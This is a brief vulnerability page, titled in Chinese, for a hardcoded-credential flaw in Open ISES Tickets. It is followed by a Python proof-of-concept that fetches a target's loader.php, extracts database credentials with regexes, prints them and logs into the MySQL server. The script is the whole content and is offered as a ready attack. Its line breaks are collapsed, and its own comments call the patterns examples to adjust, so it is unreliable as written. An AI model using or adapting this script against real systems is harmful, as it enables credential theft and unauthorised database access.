CVE-2026-48241 Open ISES Tickets硬编码凭证漏洞

import requests import re import pymysql # Target URL of the vulnerable file target_url = "http://target-openises.com/loader.php" print(f"[*] Fetching {target_url}...") try: response = requests.get(target_url) content = response.text # Regex to find hardcoded credentials (Example pattern) # Adjust regex based on actual code structure found in loader.php # Common patterns: define('DB_USER', 'root'); or $db_user = "root"; user_match = re.search(r"(?:DB_USER|db_user)['\"]?\s*[,=]\s*['\"]([^'\"]+)['\"]", content) pass_match = re.search(r"(?:DB_PASS|db_pass)['\"]?\s*[,=]\s*['\"]([^'\"]+)['\"]", content) name_match = re.search(r"(?:DB_NAME|db_name)['\"]?\s*[,=]\s*['\"]([^'\"]+)['\"]", content) host_match = re.search(r"(?:DB_HOST|db_host)['\"]?\s*[,=]\s*['\"]([^'\"]+)['\"]", content) if user_match and pass_match and name_match and host_match: db_user = user_match.group(1) db_pass = pass_match.group(1) db_name = name_match.group(1) db_host = host_match.group(1) print(f"[+] Credentials Found!") print(f" Host: {db_host}") print(f" User: {db_user}") print(f" Pass: {db_pass}") print(f" Name: {db_name}") # Attempt to connect to the database print(f"[*] Attempting to connect to MySQL database at {db_host}...") try: connection = pymysql.connect(host=db_host, user=db_user, password=db_pass, database=db_name) print("[+] Successfully connected to the database!") with connection.cursor() as cursor: cursor.execute("SELECT VERSION()") version = cursor.fetchone() print(f"[+] Database Version: {version[0]}") connection.close() except Exception as e: print(f"[-] Connection failed: {e}") else: print("[-] Could not extract credentials from the file.") except Exception as e: print(f"[-] Error fetching URL: {e}")